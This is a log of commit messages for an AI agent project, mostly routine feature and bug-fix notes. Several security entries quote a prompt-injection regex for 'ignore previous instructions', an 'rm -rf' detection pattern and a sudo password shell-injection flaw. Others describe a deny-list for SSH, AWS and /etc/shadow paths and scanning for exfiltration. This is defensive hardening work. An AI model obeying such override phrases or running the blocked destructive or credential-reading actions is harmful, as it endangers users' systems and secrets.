- systematic-debugging: 4-phase root cause investigation
- subagent-driven-development: Structured delegation with two-stage review
- writing-plans: Comprehensive implementation planning
- requesting-code-review: Systematic code review process
These skills provide structured development workflows that transform
Hermes from a general assistant into a professional software engineer
with defined processes for quality assurance.
Skills are organized under software-development category and follow
Hermes skill format with proper frontmatter, examples, and integration
guidance with existing skills.
- Add "Security Hardening" section with table of protections from recent PRs
- Add "Reasoning Effort" config section under Features
- Add Slack and WhatsApp env vars to Environment Variables Reference
- Remove non-functional ANTHROPIC_API_KEY from env vars table
- Add `hermes whatsapp` to Commands section
Documentation (docs/messaging.md):
- Rewrite WhatsApp section to reflect Baileys bridge and `hermes whatsapp` flow
- Add Slack env vars, adapter to architecture diagram, and platform toolsets table
This update introduces a pairing store for code-based user authorization and an event hook system within the GatewayRunner class. These enhancements aim to improve user authorization processes and facilitate event-driven functionalities in the gateway.
Add comprehensive contributor guide covering:
- Development setup
- Project structure overview
- Code style guidelines
- How to add new tools
- How to add new skills
- Pull request process
- Commit message conventions
- Security considerations
This change removes the session_db parameter from AIAgent instantiations in gateway/run.py, addressing issues related to session management. The previous implementation caused errors when session_db was not properly initialized, leading to failures in session_search functionality.
- Introduced a new skill for searching and retrieving academic papers from arXiv using their REST API, allowing searches by keyword, author, category, or ID.
- Added a helper script for clean output of search results, including options for sorting and filtering.
- Created a DESCRIPTION.md file outlining the purpose and functionality of the research skills.
- Introduced new skills for extracting text from PDFs, scanned documents, and images using OCR and document parsing tools.
- Added detailed documentation for usage and installation of `pymupdf` and `marker-pdf` for local extraction.
- Implemented scripts for text extraction with both lightweight and high-quality options, including support for various document formats.
- Updated web extraction functionality to handle PDF URLs directly, enhancing usability for academic papers and documents.
When running via the gateway (e.g. Telegram), the session_search tool
returned: {"error": "session_search must be handled by the agent loop"}
Root cause:
- gateway/run.py creates AIAgent without passing session_db=
- self._session_db is None in the agent instance
- The dispatch condition "elif function_name == 'session_search' and self._session_db"
skips when _session_db is None, falling through to the generic error
This fix:
1. Initializes self._session_db in GatewayRunner.__init__()
2. Passes session_db to all AIAgent instantiations in gateway/run.py
3. Adds defensive fallback in run_agent.py to return a clear error when
session_db is unavailable, instead of falling through
Fixes#105
- Added configuration options for automatic session resets based on inactivity or daily boundaries in cli-config.yaml.
- Enhanced SessionResetPolicy class to support a "none" mode for no auto-resets.
- Implemented memory flushing before session resets in SessionStore to preserve important information.
- Updated setup wizard to guide users in configuring session reset preferences.
- Implemented a check to determine if the hermes-gateway service is active after an update.
- Added logic to automatically restart the service if it is running, ensuring changes are applied without manual intervention.
- Updated user guidance to reflect the new auto-restart feature, removing the need for manual restart instructions.
- Added _max_tokens_param method in AIAgent to return appropriate max tokens parameter based on the provider (OpenAI vs. others).
- Updated API calls in AIAgent to utilize the new max tokens handling.
- Introduced auxiliary_max_tokens_param function in auxiliary_client for consistent max tokens management across auxiliary clients.
- Refactored multiple tools to use auxiliary_max_tokens_param for improved compatibility with different models and providers.
- Updated .env.example to clarify terminal backend configuration and its relationship with config.yaml.
- Modified gateway/run.py to ensure terminal settings from config.yaml take precedence over .env, improving consistency in environment variable handling.
- Added mapping for terminal configuration options to corresponding environment variables for better integration.
- Added functionality to keep the .env file in sync with terminal configuration settings in config.yaml, ensuring terminal_tool can directly access necessary environment variables.
- Updated setup wizard to save selected backend and associated Docker image to .env for improved consistency and usability.
- Updated README to reflect the new command for configuring tools per platform.
- Modified tools_config.py to correct the handling of preselected entries in the toolset checklist, ensuring proper functionality during user interaction.
- Removed fallback to OPENAI_API_KEY in favor of exclusively using VOICE_TOOLS_OPENAI_KEY for improved clarity and consistency.
- Updated environment variable checks to ensure only VOICE_TOOLS_OPENAI_KEY is considered, enhancing error handling and messaging.
- Updated the logic in _has_any_provider_configured to include OPENAI_BASE_URL as a valid provider variable, allowing local models to be recognized without an API key.
- Consolidated environment variable checks into a single tuple for better maintainability.
Closes#77. Users can now type /verbose in the CLI to toggle verbose
mode on or off without restarting. When enabled, full tool call
parameters, results, and debug logs are shown. The agent's
verbose_logging and quiet_mode flags are updated live, and Python
logging levels are reconfigured accordingly.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
USER.md stays in system prompt when Honcho is active -- prefetch is
additive context, not a replacement. Memory tool user observations
write to both USER.md (local) and Honcho (cross-session) simultaneously.
When Honcho is active:
- System prompt uses Honcho prefetch instead of USER.md
- memory tool target=user add routes to Honcho
- MEMORY.md untouched in all cases
When disabled, everything works as before.
Also wires up contextTokens config to cap prefetch size.
Opt-in persistent cross-session user modeling via Honcho. Reads
~/.honcho/config.json as single source of truth (shared with
Claude Code, Cursor, and other Honcho-enabled tools). Zero impact
when disabled or unconfigured.
- honcho_integration/ package (client, session manager, peer resolution)
- Host-based config resolution matching claude-honcho/cursor-honcho pattern
- Prefetch user context into system prompt per conversation turn
- Sync user/assistant messages to Honcho after each exchange
- query_user_context tool for mid-conversation dialectic reasoning
- Gated activation: requires ~/.honcho/config.json with enabled=true
KawaiiSpinner used a two-phase clear+redraw approach: first write
\r + spaces to blank the line, then \r + new frame. When running
inside prompt_toolkit's patch_stdout proxy, each phase could trigger
a separate repaint, causing visible flickering every 120ms.
Replace with a single \r\033[K (carriage return + ANSI erase-to-EOL)
write so the line is cleared and redrawn atomically.
show_config() always checked cli-config.yaml in the project directory,
but load_cli_config() first looks at ~/.hermes/config.yaml. When the
user config existed, /config would display "cli-config.yaml (not found)"
even though configuration was loaded successfully from ~/.hermes/.
Use the same lookup order as load_cli_config and display the actual
resolved path.
max_turns used 60 as both the default and the sentinel to detect
whether the user passed the flag. This meant `--max-turns 60` was
indistinguishable from "not passed", so the env var
HERMES_MAX_ITERATIONS would silently override the explicit CLI value.
Change the default to None so any user-supplied value takes priority.
The _on_text_changed handler collapsed buffer contents into a file
reference whenever the buffer had 5+ newlines, regardless of how
those lines were entered. This meant manually typing with Alt+Enter
would trigger the paste heuristic and silently replace the user's
carefully typed input.
Track the previous buffer length and only treat a change as a paste
when more than one character is added at once (real pastes insert many
characters in a single event, while typing adds one at a time).
load_cli_config() supports both string and dict formats for the model
key (e.g. `model: "anthropic/claude-opus-4"`), but save_config_value()
assumed all intermediate keys are dicts. When the config file used the
string format, running `/model <name>` would crash with TypeError:
'str' object does not support item assignment.
Add an isinstance check so non-dict values are replaced with a fresh
dict before descending.
- Updated the description extraction logic to split on ". " (period+space) to avoid breaking on abbreviations like "e.g." or version numbers.
- Changed the method to prioritize the first line of the description, ensuring more relevant information is captured for display.
- Updated the installation script to check for necessary build tools on Debian/Ubuntu systems and prompt the user to install them if missing.
- Improved user interaction by redirecting input from /dev/tty for prompts, ensuring compatibility when the script is piped from curl.
- Added checks to verify the successful installation of the main package and provide guidance if installation fails.
- Enhanced the handling of shell configuration files to ensure ~/.local/bin is added to PATH for various shell types.
Root cause: the install script uses `set -e` (exit on error) and `read -p`
for interactive prompts. When running via `curl | bash`, stdin is a pipe
(not a terminal), so `read -p` hits EOF and returns exit code 1. Under
`set -e`, this silently aborts the entire script before hermes is installed.
Fix: detect non-interactive mode using `[ -t 0 ]` (standard POSIX test for
terminal stdin) and skip all interactive prompts when running in piped mode.
Clear messages are shown instead, telling the user what to run manually.
Changes:
- Add IS_INTERACTIVE flag at script start ([ -t 0 ] check)
- Guard sudo package install prompt (the direct cause of #69)
- Guard setup wizard (calls interactive hermes setup)
- Guard WhatsApp pairing and gateway install prompts
All other prompts use the same read -p pattern and would fail the same way
in piped mode, so they are all guarded for completeness.
Closes#69
Add 15 new tests in two classes:
- TestRmFalsePositiveFix (8 tests): verify filenames starting with 'r'
(readme.txt, requirements.txt, report.csv, etc.) are NOT falsely
flagged as 'recursive delete'
- TestRmRecursiveFlagVariants (7 tests): verify all recursive delete
flag styles (-r, -rf, -rfv, -fr, -irf, --recursive, sudo rm -rf)
are still correctly caught
All 29 tests pass (14 existing + 15 new).
The regex pattern for detecting recursive delete commands (rm -r, rm -rf,
etc.) incorrectly matched filenames starting with 'r' — e.g., 'rm readme.txt'
was flagged as 'recursive delete' because the dash-flag group was optional.
Fix: make the dash mandatory so only actual flags (-r, -rf, -rfv, -fr)
are matched. This eliminates false approval prompts for innocent commands
like 'rm readme.txt', 'rm requirements.txt', 'rm report.csv', etc.
Before: \brm\s+(-[^\s]*)?r — matches 'rm readme.txt' (false positive)
After: \brm\s+-[^\s]*r — requires '-' prefix, no false positives
The sudo password was embedded in shell commands via single-quote
interpolation: echo '{password}' | sudo -S
If the password contained shell metacharacters (single quotes,
$(), backticks), they would be interpreted by the shell, enabling
arbitrary command execution.
Fix: use shlex.quote() which properly escapes all shell-special
characters, ensuring the password is always treated as a literal
string argument to echo.
The regex `ignore\s+(previous|all|above|prior)\s+instructions` only
allowed ONE word between "ignore" and "instructions". Multi-word
variants like "Ignore ALL prior instructions" bypassed the scanner
because "ALL" matched the alternation but then `\s+instructions`
failed to match "prior".
Fix: use `(?:\w+\s+)*` groups to allow optional extra words before
and after the keyword alternation.
Cover model_tools, toolset_distributions, context_compressor,
prompt_caching, cronjob_tools, session_search, process_registry,
and cron/scheduler with 127 new test cases.
These tests documented the macOS symlink bypass bug with
platform-conditional assertions. The fix and proper regression
tests are in PR #61 (tests/tools/test_write_deny.py), so remove
them here to avoid ordering conflicts between the two PRs.
On macOS, /etc is a symlink to /private/etc. The _is_write_denied()
function resolves the input path with os.path.realpath() but the deny
list entries were stored as literal strings ("/etc/shadow"). This meant
the resolved path "/private/etc/shadow" never matched, allowing writes
to sensitive system files on macOS.
Fix: Apply os.path.realpath() to deny list entries at module load time
so both sides of the comparison use resolved paths.
Adds 19 regression tests in tests/tools/test_write_deny.py.
The SSH backend was missing from check_terminal_requirements(), causing
it to fall through to `return False`. This silently disabled both the
terminal and file tools when TERMINAL_ENV=ssh was configured.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Introduced a static method to verify if the Docker storage driver supports the --storage-opt size= option.
- Enhanced resource argument handling in DockerEnvironment to conditionally include storage options based on the support check.
- Added caching for the support check result to optimize performance across instances.
The browser_tool signal handler calls sys.exit(130) which raises
SystemExit. When this fires during terminal_tool's atexit cleanup
(specifically during _cleanup_thread.join()), it produces an unhandled
traceback. Wrapping the join in a try/except suppresses the race
without changing shutdown behavior.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
- Added a section on security, detailing the minimal environment for child processes and the handling of API keys and credentials.
- Included new environment variables: `LLM_MODEL` for default model name and `HERMES_HOME` for overriding the config directory.
- Introduced a new markdown file detailing various Notion block types for API usage, including examples for creating and reading blocks.
- Covered block types such as paragraphs, headings, lists, to-dos, quotes, callouts, code, toggles, dividers, bookmarks, images, and more.
- Provided structured JSON examples for each block type to assist developers in implementation.
- Renamed test method for clarity and added comprehensive tests for `SessionSource` including handling of numeric `chat_id`, missing optional fields, and invalid platforms.
- Introduced tests for session source descriptions based on chat types and names, ensuring accurate representation in prompts.
- Improved file tools tests by validating schema structures, ensuring no duplicate model IDs, and enhancing error handling in file operations.
- Introduced a new `uv.lock` file to manage package dependencies and versions.
- Included details for packages such as `aiohappyeyeballs` and `aiohttp`, specifying their versions, sources, and available wheels.
- Set Python version requirements and resolution markers to ensure compatibility.
Line 184 hardcoded Path.home() / ".hermes" instead of using the
existing HERMES_HOME variable which already respects the env var.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Consistent with other entry points: use _hermes_home from HERMES_HOME
env var, and add UTF-8 → latin-1 encoding fallback on load_dotenv.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Both entry points hardcoded Path.home() / ".hermes" for .env, config.yaml,
logs, and lock files. Now uses _hermes_home which reads HERMES_HOME env var
with ~/.hermes as default, matching cli.py and run_agent.py.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Implemented functionality to run `npm audit` for specified Node.js package directories.
- Added checks for vulnerabilities, reporting critical, high, and moderate issues.
- Enhanced user feedback based on audit results, guiding users on necessary actions for vulnerabilities.
Load ~/.hermes/.env first with project root as dev fallback, and remove
redundant second load_dotenv call inside load_cli_config(). Also sets
MSWEA_GLOBAL_CONFIG_DIR so mini-swe-agent shares the same config.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Introduced a new markdown file detailing various output formats including chapters, summaries, Twitter threads, blog posts, and quotes.
- Each section provides structured examples to guide content creators in presenting their video material effectively.
- Custom endpoint (OPENAI_API_KEY/OPENAI_BASE_URL) now works in gateway and cron
- Memory flush on /reset passes credentials to temp agent
- LLM_MODEL env var fallback matches CLI priority chain
- Obsidian skill: replace hardcoded paths with OBSIDIAN_VAULT_PATH env var
- Setup wizard: strip emojis from TerminalMenu to fix macOS rendering
- execute_code: allowlist-filter child process environment variables
Co-authored-by: VencentSoliman <4spacetuna@gmail.com>
- Updated README and CLI documentation to include new commands for resuming sessions: `--continue` for the most recent session and `--resume <id>` for specific sessions.
- Added examples in the CLI help output and detailed instructions on resuming sessions in the documentation.
- Improved user experience by automatically displaying the resume command upon exiting a session.
- Added a new command-line argument `--continue` to allow users to resume the most recent CLI session easily.
- Introduced a helper function to retrieve the last session ID from the database.
- Updated command handling to integrate the new session continuation functionality.
The `hermes` CLI entry point (hermes_cli/main.py) and the agent runner
(run_agent.py) only loaded .env from the project installation directory.
After the standard installer, code lives at ~/.hermes/hermes-agent/ but
config lives at ~/.hermes/ — so the .env was never found.
Aligns these entry points with the pattern already used by gateway/run.py
and rl_cli.py: load ~/.hermes/.env first, fall back to project root .env
for dev-mode compatibility.
Also fixes:
- status.py checking .env existence and API keys at PROJECT_ROOT
- doctor.py KeyError on tool availability (missing_vars vs env_vars)
- doctor.py checking logs/ and Skills Hub at PROJECT_ROOT instead of HERMES_HOME
- doctor.py redundant logs/ check (already covered by subdirectory loop)
- mini-swe-agent loading config from platformdirs default instead of ~/.hermes/
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Changed the hardcoded vault path to be set via the OBSIDIAN_VAULT_PATH environment variable, with a default fallback.
- Updated all relevant commands to utilize the new variable for reading, listing, searching, creating, and appending notes, improving flexibility and usability.
When using Nous Portal (or any non-OpenRouter provider), child agents
spawned by delegate_task failed with "No pricing available" or "Unknown
model" errors because they had no valid API key.
The delegate tool passed base_url but not api_key to child AIAgent
instances. Without an explicit key, children fell back to the empty
OPENROUTER_API_KEY env var, causing auth failures.
Extract the parent's API key from _client_kwargs and pass it through.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Three issues prevented the Docker terminal backend from working:
1. `effective_image` was referenced but never defined — only the Modal
backend sets this variable. Use `image` directly instead.
2. `--storage-opt size=N` is unsupported on Docker Desktop for Mac
(requires overlay2 with xfs backing). Skip the flag on Darwin.
3. Docker requires absolute paths for `-w` (working directory) but the
default cwd was `~`, which Docker does not expand. Default to `/root`
and translate any `~` passed in from callers.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Added functionality to include product attribution tags for Nous Portal in auxiliary API calls.
- Introduced a mechanism to determine if the auxiliary client is backed by Nous Portal, affecting the extra body of requests.
- Updated various tools to utilize the new extra body configuration for enhanced tracking in API calls.
- Simplified the logic for determining support for reasoning based on the base URL by introducing clearer variable names.
- Added product attribution for the Nous Portal to the extra body of requests when applicable, enhancing tagging for better tracking.
- Implemented dynamic loading of environment variables and configuration from a YAML file to ensure fresh credentials for the GatewayRunner.
- Improved error handling during the loading process to accommodate different encoding scenarios and potential exceptions.
- Updated exception handling in multiple prompt functions to catch NotImplementedError alongside ImportError, improving robustness across the application.
- Ensured fallback mechanisms are clearly documented for better understanding of platform limitations.
- Updated the SSH cloning process to include a cleanup step for partial clones if the SSH attempt fails, improving the fallback to HTTPS.
- Modified output messages for clarity, including renaming the gateway installation command to better reflect its function.
- Added GIT_SSH_COMMAND to disable interactive prompts and set a timeout for SSH cloning, enhancing the cloning process for private repositories.
- Implemented cleanup of partial SSH clones if the SSH attempt fails, ensuring a smoother fallback to HTTPS cloning.
- Introduced a new section in the README outlining the benefits and configurations for running Hermes with a sandboxed terminal backend.
- Provided examples for SSH, Docker, and Modal cloud sandbox setups to enhance security and isolation during command execution.
- Deleted the `huggingface-accelerate` skill documentation, which included details on distributed training and common workflows.
- Removed `custom-plugins.md`, `megatron-integration.md`, `performance.md`, and other related reference documents that were no longer relevant or necessary.
- This cleanup aims to streamline the MLOps skills repository and improve maintainability.
- Introduced a new static method `_clean_session_content` in the `AIAgent` class to convert REASONING_SCRATCHPAD tags to <think> blocks and clean up whitespace in session logs.
- Updated the `_save_session_log` method to utilize the cleaned content for assistant messages, ensuring consistency in session logs.
- Changed the default output directory for TTS audio files from `~/voice-memos` to `~/.hermes/audio_cache`, reflecting a more appropriate storage location.
- Updated the `clear_interrupt` method to also reset the global tool interrupt signal, improving the clarity of interrupt management within the agent.
- This change ensures that all interrupt states are properly cleared, enhancing the reliability of the agent's operation.
- Included a note clarifying that the agent's final response is auto-delivered to the target, advising against using send_message in the prompt. This enhances user understanding of the message delivery process.
- Implemented dynamic loading of environment variables and configuration settings for job execution, allowing for real-time updates without restarting the gateway.
- Enhanced model and API configuration retrieval from both environment variables and a YAML configuration file, improving flexibility and adaptability of the job execution process.
- Added overflow-x hidden to prevent horizontal scrolling on the landing page.
- Updated mobile styles for various elements including hero, sections, and grids to improve layout and readability on smaller screens.
- Adjusted padding, font sizes, and display properties for better user experience across devices.
- Revised the title and description in the landing page to better convey the agent's adaptability and user-centric features.
- Enhanced Open Graph description for improved social media sharing and clarity of the agent's capabilities.
- Eliminated the temporary debug logging in the `execute_code` function that tracked enabled and sandbox tools, streamlining the code and reducing clutter.
- Modified the `_wrap` function to append a failure suffix without applying red coloring, simplifying the failure message format.
- Introduced temporary debug logging in the `execute_code` function to track enabled and sandbox tools, aiding in troubleshooting.
- Changed the hero title from "An AI agent you can actually live with." to "An agent that grows with you." to better reflect the agent's adaptability and user-centric approach.
- This update aims to enhance the overall appeal and clarity of the landing page content.
- Saved and restored stdout/stderr to prevent redirection issues in child threads, ensuring consistent output during task delegation.
- Enhanced reliability of output handling in concurrent execution scenarios.
- Added a new function to resolve child sessions to their parent, improving session grouping and deduplication.
- Refactored session summarization to run in parallel, enhancing performance and responsiveness.
- Updated search syntax documentation to clarify usage of keywords and phrases for better search results.
- Captured stdout at spinner creation to prevent redirection issues from child agents.
- Replaced direct print statements with a new `_write` method for consistent output handling during spinner animation and final message display.
- Enhanced code maintainability and clarity by centralizing output logic.
- Eliminated the `_raw_write` function to simplify output handling in the `KawaiiSpinner` class.
- Updated spinner animation and final message display to use standard print statements, ensuring compatibility with prompt_toolkit.
- Improved code clarity and maintainability by reducing complexity in the output rendering process.
- Added a new function `_raw_write` to write directly to stdout, bypassing prompt_toolkit's interference with ANSI escapes and carriage returns.
- Updated the `KawaiiSpinner` class to utilize `_raw_write` for rendering spinner animations and final messages, ensuring proper display in terminal environments.
- Improved the clarity of output handling during spinner operations, enhancing user experience during tool execution.
- Introduced a new configuration option for reasoning effort in the CLI, allowing users to specify the level of reasoning the agent should perform before responding.
- Updated the CLI and agent initialization to incorporate the reasoning configuration, enhancing the agent's responsiveness and adaptability.
- Implemented logic to load reasoning effort from environment variables and configuration files, providing flexibility in agent behavior.
- Enhanced the documentation in the example configuration file to clarify the new reasoning effort options available.
- Introduced a new landing page with HTML, CSS, and JavaScript files to showcase the Hermes Agent.
- Added a banner image and logo to enhance visual appeal.
- Implemented interactive features such as a copy-to-clipboard function for installation commands and scroll-triggered animations for improved user engagement.
- Designed a responsive layout with sections detailing the agent's features, installation instructions, and community links.
- Implemented functionality to load ephemeral prefill messages from a JSON file, enhancing few-shot priming capabilities for the agent.
- Introduced a mechanism to load an ephemeral system prompt from environment variables or configuration files, ensuring dynamic prompt adjustments at API-call time.
- Updated the CLI and agent initialization to utilize the new prefill messages and system prompt, improving the overall interaction experience.
- Enhanced configuration options with new environment variables for prefill messages and system prompts, allowing for greater customization without persistence.
- Added a new section in the README for Inference Providers, detailing setup instructions for Nous Portal, OpenRouter, and Custom Endpoints, improving user guidance for LLM connections.
- Updated messaging platform setup instructions to include Slack and WhatsApp, providing clearer steps for configuration.
- Introduced a new environment variable, TERMINAL_SANDBOX_DIR, to allow users to customize the sandbox storage location for Docker and Singularity environments.
- Refactored the Docker and Singularity environment classes to utilize the new sandbox directory for persistent workspaces, enhancing organization and usability.
- Improved handling of working directories across various environments, ensuring compatibility and clarity in execution paths.
- Updated the README to include new badges, a detailed description of the Hermes Agent, and a table summarizing its features, improving clarity and presentation for users.
- Modified the API client initialization in `transcription_tools.py` and `tts_tool.py` to include a base URL, ensuring compatibility with the OpenAI API.
- Introduced a new mapping for toolset environment variable requirements, enhancing the configuration process by prompting users for missing API keys.
- Implemented a function to check and prompt users for necessary API keys when enabling toolsets, improving user experience and ensuring proper setup.
- Updated the tools command to integrate the new API key checks, streamlining the configuration workflow for users.
- Updated messaging in the checklist prompts to simplify instructions for item selection, changing "Press SPACE to select items, then ENTER on Continue" to "SPACE to toggle, ENTER to confirm."
- Removed the "Continue →" entry from the menu items to streamline the selection process.
- Enhanced user experience by clarifying input prompts and removing unnecessary options, ensuring a more intuitive interaction.
- Updated the display format of tool descriptions in the configuration prompts to enhance readability.
- Simplified the messaging for enabled tool counts, removing unnecessary color formatting for a cleaner output.
- Streamlined the exit message for the configuration process, improving user experience during tool setup.
- Introduced a new `tools` command in the CLI for configuring enabled tools per platform.
- Implemented an interactive checklist for users to enable or disable toolsets for various platforms, enhancing customization options.
- Created a new `tools_config.py` file to handle the logic for toolset management and user prompts, improving code organization and user experience.
- Introduced a new helper function to handle API key prompts, improving code organization and readability.
- Enhanced user experience by providing a formatted display for API key input, including tool descriptions and URLs.
- Simplified the setup wizard by replacing inline API key handling with the new helper function, ensuring consistent messaging and feedback during configuration.
- Modified the prompt in the setup wizard to clarify the selection process, instructing users to press SPACE to select items and ENTER to continue, enhancing user experience during configuration.
- Updated the setup wizard to present messaging platforms as a checklist, allowing users to select which platforms to configure.
- Preserved the order of platforms while grouping them for improved clarity.
- Enhanced user prompts for setting up each selected messaging platform, streamlining the configuration process.
- Changed default value for HERMES_TOOL_PROGRESS from "false" to "true" to enable tool progress notifications by default.
- Updated default value for HERMES_TOOL_PROGRESS_MODE from "new" to "all" to provide more comprehensive progress updates.
- Enhanced the setup wizard prompts for enabling tool progress messages and context compression, improving user guidance and experience.
- Updated the OPTIONAL_ENV_VARS dictionary to include a new "category" field for better organization of environment variables.
- Improved the setup wizard to categorize missing optional environment variables into tools and messaging platforms, enhancing user experience during configuration.
- Streamlined the prompts for configuring tools and messaging platforms, allowing for a more intuitive setup process.
- Updated the environment variable name from HERMES_OPENAI_API_KEY to VOICE_TOOLS_OPENAI_KEY across multiple files to avoid interference with OpenRouter.
- Adjusted related error messages and configuration prompts to reflect the new variable name, ensuring consistency throughout the codebase.
- Eliminated the multi_select_cursor_brackets_style parameter from the prompt_checklist function, simplifying the code and improving clarity in the multi-select user interface.
- Introduced automatic installation of Node.js version 22 if not found on the system, enhancing the setup process for browser tools.
- Improved the check for existing Node.js installations, including support for Hermes-managed installations.
- Added logic to download and extract the appropriate Node.js binary based on the system architecture and OS.
- Updated the installation script to handle missing dependencies like ripgrep and ffmpeg, providing installation prompts for macOS users.
- Cleared the REQUIRED_ENV_VARS dictionary as no single environment variable is universally required.
- Enhanced the OPTIONAL_ENV_VARS with improved descriptions and added advanced options for better user guidance.
- Introduced a new prompt_checklist function to allow users to select tools during setup, improving the configuration experience.
- Updated the setup wizard to handle missing optional environment variables using the new checklist, streamlining the tool configuration process.
- Updated the command name from `/set-home` to `/sethome` in the GatewayRunner class for consistency.
- Added a new slash command `/sethome` in the Discord adapter to set the home channel.
- Registered the `/sethome` command in the Telegram adapter to align with the updated naming convention.
- Renamed variable `source` to `mirror_src` for clarity in the message tagging logic within the GatewayRunner class, enhancing code readability while maintaining functionality.
- Replaced the call to `_load()` with `_ensure_loaded()` in the `has_any_sessions` method to improve clarity and ensure that session data is properly initialized before checking for existing sessions.
- Updated the toolset ID retrieval logic in the build_welcome_banner function to use a fallback to the toolset name if the ID is not present, ensuring robustness in displaying unavailable toolsets.
- Updated the mapping of unavailable toolsets in the welcome banner from using the internal toolset ID to the toolset name for improved clarity and accuracy in display.
- Removed static methods for converting and checking <REASONING_SCRATCHPAD> tags, simplifying the codebase.
- Replaced calls to the removed methods with direct function calls for better clarity and maintainability.
- Updated trajectory saving logic to utilize a dedicated function for improved organization and readability.
- Introduced a new `_cleanup_test_artifacts` function to remove test-generated files and directories after test execution.
- Integrated the cleanup function into the `test_current_implementation` and `test_interruption_and_resume` tests to ensure proper resource management and prevent clutter from leftover files.
- Replaced the Nous API key check with the Auxiliary Model check in the WebToolsTester class.
- Updated the environment configuration to reflect the change in API key validation, ensuring accurate reporting of available keys.
- Introduced a shared interrupt signaling mechanism to allow tools to check for user interrupts during long-running operations.
- Updated the AIAgent to handle interrupts more effectively, ensuring in-progress tool calls are canceled and multiple interrupt messages are combined into one prompt.
- Enhanced the CLI configuration to include container resource limits (CPU, memory, disk) and persistence options for Docker, Singularity, and Modal environments.
- Improved documentation to clarify interrupt behaviors and container resource settings, providing users with better guidance on configuration and usage.
- Introduced a method to strip <think> blocks from content, improving text visibility.
- Implemented counters to reset nudge intervals when memory and skill tools are used, enhancing user guidance.
- Captured content from turns with tool calls to provide fallback responses, ensuring continuity in conversation.
- Updated nudge logic to remind users about saving memories and creating skills based on interaction patterns.
- Introduced a new channel directory to cache reachable channels/contacts for messaging platforms, enhancing the send_message tool's ability to resolve human-friendly names to numeric IDs.
- Added functionality to mirror sent messages into the target's session transcript, providing context for cross-platform message delivery.
- Updated the send_message tool to support listing available targets and improved error handling for channel resolution.
- Enhanced the gateway to build and refresh the channel directory during startup and at regular intervals, ensuring up-to-date channel information.
- Added functionality to load values from config.yaml into the environment, allowing os.getenv() to access them.
- Ensured that existing environment variables take precedence over config values.
- Updated DiscordAdapter to resolve usernames in DISCORD_ALLOWED_USERS to numeric IDs, improving user authorization checks.
- Enhanced event handling to provide clearer logging and ensure proper synchronization of slash commands.
- Enhanced warning in `_deliver_result` to provide clearer instructions for setting the home channel.
- Updated error message in `send_message_tool` to specify how to set a home channel when no chat ID is provided, improving user guidance.
- Introduced a new `_deliver_result` function to handle job output delivery to specified platforms.
- Added origin resolution logic to determine the correct delivery target based on job configuration.
- Updated `run_job` to return the final response along with the output for improved context.
- Integrated delivery of job results to the origin chat or fallback channels, with error handling for delivery failures.
- Cleaned up environment variables after job execution to prevent leakage between jobs.
- Updated the authorization logic to include a per-platform allow-all flag for improved flexibility.
- Revised the order of checks to prioritize platform-specific allow-all settings, followed by environment variable allowlists and DM pairing approvals.
- Added global allow-all configuration for broader access control.
- Improved handling of allowlists by stripping whitespace and ensuring valid entries are processed.
- Added skills configuration options in cli-config.yaml.example, including a nudge interval for skill creation reminders.
- Implemented skills guidance in AIAgent to prompt users to save reusable workflows after complex tasks.
- Enhanced skills indexing in the prompt builder to include descriptions from SKILL.md files for better context.
- Updated the agent's behavior to periodically remind users about potential skills during tool-calling iterations.
- Added configuration options for memory nudge interval and flush minimum turns in cli-config.yaml.example.
- Implemented memory flushing before conversation reset, clearing, and exit in the CLI to ensure memories are saved.
- Introduced a flush_memories method in AIAgent to handle memory persistence before context loss.
- Added periodic nudges to remind the agent to consider saving memories based on user interactions.
- Updated the MEMORY_GUIDANCE text to improve clarity by rephrasing the usage instructions for the memory tool, emphasizing its diary-like functionality.
- Introduced a new `_format_timestamp` function to convert Unix timestamps and ISO strings into a human-readable date format.
- Updated the session metadata handling to use the new formatting function for improved clarity in session start dates.
- Adjusted the output structure to reflect the change from "Session started" to "Session date" for better user understanding.
- Introduced MEMORY_GUIDANCE and SESSION_SEARCH_GUIDANCE to improve agent's contextual awareness and proactive assistance.
- Updated AIAgent to conditionally include tool-aware guidance in prompts based on available tools.
- Enhanced descriptions in memory and session search schemas for clearer user instructions on when to utilize these features.
- Eliminated the `compression_model` variable from the AIAgent class, as it was not being utilized.
- Cleaned up the context compressor initialization for improved clarity and maintainability.
- Extracted agent internals into a dedicated `agent/` directory, including model metadata, context compression, and prompt handling.
- Enhanced CLI structure by separating banner, commands, and callbacks into distinct modules within `hermes_cli/`.
- Updated README to reflect the new directory organization and clarify the purpose of each component.
- Improved tool registration and terminal execution backends for better maintainability and usability.
- Relocated functions related to model metadata, including fetch_model_metadata, get_model_context_length, estimate_tokens_rough, and estimate_messages_tokens_rough, to agent/model_metadata.py for better organization and maintainability.
- Updated imports in run_agent.py to reflect the new location of these functions.
- Enhanced tool registration process by implementing a self-registering mechanism in each tool file via `tools/registry.py`.
- Updated `model_tools.py` to serve as a thin orchestration layer, simplifying tool discovery and registration.
- Revised documentation to clarify the steps for adding new tools, emphasizing the importance of schema, handler, and registration consistency.
- Improved dependency resolution in environments by ensuring toolsets are queried from `tools/registry.py`.
- Removed legacy cron daemon functionality, integrating cron job execution directly into the gateway process for improved efficiency.
- Updated CLI commands to reflect changes, replacing `hermes cron daemon` with `hermes cron status` and enhancing documentation for cron job management.
